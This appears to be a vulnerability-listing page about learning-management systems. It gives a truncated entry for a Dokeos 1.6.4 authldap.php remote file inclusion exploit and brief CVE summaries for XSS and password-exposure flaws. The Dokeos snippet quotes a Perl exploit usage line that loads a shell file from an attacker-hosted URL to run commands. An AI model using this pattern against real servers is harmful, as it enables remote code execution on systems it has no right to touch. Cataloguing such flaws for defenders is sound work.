Dokeos Lms 1.6.4 - authldap.php Remote File Inclusion

Dokeos Lms 1.6.4 - authldap.php Remote File Inclusion !/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor:...

Dokeos Lms 1.6.4 - 'authldap.php' Remote File Inclusion

!/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.dokeos.com/ The file...

CVE-2006-2000

The provided connected sources confirm a concrete vulnerability: Cross-site Scripting (XSS) in logMethods 0.9, specifically in /lms/a2z.jsp, exploitable via the kwd parameter. This is a remote, client-side script injection risk that could allow an attacker to execute arbitrary HTML/JavaScript in ...

CVE-2006-2000: Undefined Security Weakness

Cross-site scripting XSS vulnerability in /lms/a2z.jsp in logMethods 0.9 allows remote attackers to inject arbitrary web script or HTML via the kwd parameter...

CVE-2002-1910

CVE-2002-1910 affects Click2Learn Ingenium Learning Management System, versions 5.1–6.1. The root cause is the use of weak, reversible password encryption, enabling attackers to obtain passwords. Public sources confirm the affected products/versions and the vulnerability description across NVD/Re...

CVE-2002-1909

Click2Learn Ingenium Learning Management System 5.1 and 6.1 stores the hashed administrative password in a config.txt file under the htdocs directory, which allows remote attackers to obtain the administrative password...